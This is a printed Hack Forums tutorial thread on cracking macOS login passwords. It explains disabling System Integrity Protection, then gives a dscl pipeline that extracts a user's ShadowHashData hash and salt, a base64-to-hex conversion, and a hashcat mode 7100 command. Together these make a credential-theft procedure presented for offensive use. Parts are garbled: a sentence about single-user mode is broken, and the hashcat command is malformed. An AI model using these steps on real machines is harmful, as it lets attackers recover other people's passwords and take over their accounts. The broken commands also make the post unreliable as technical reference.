Hack Forums
Cracking macOS Passwords - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Cracking macOS Passwords (/showthread.php?tid=6288565)

Cracking macOS Passwords - DramaKing - Dec 31, 2024

Extracting password hashes on Linux or Windows is considered Hacking 101. Cracking macOS passwords, however, is trickier and discussed much less, so I felt the opportunity to do that here.

The first roadblock is Apple's System Integrity Protection (SIP). You will need to either disable it with 'csrutil disable', or, if FileVault 2 is not enabled, reboot in single-user needed. Another way is to use dscl.


Code
sudo dscl . -read /Users/Bob/ dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f ' | xxd -p -r | plutil -convert xml1 - -o -

Grab the data of the hash and salt and convert the string from base64 to hex.

Code
<hash> | base64 -D  | xxd -p

Lastly, crack the hash with hashcat mode 7100.

Code
hashcat -m 7100 hash.txt -a 0 <hash> wordlist.txt

Source: https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/

#XmasOrnament2024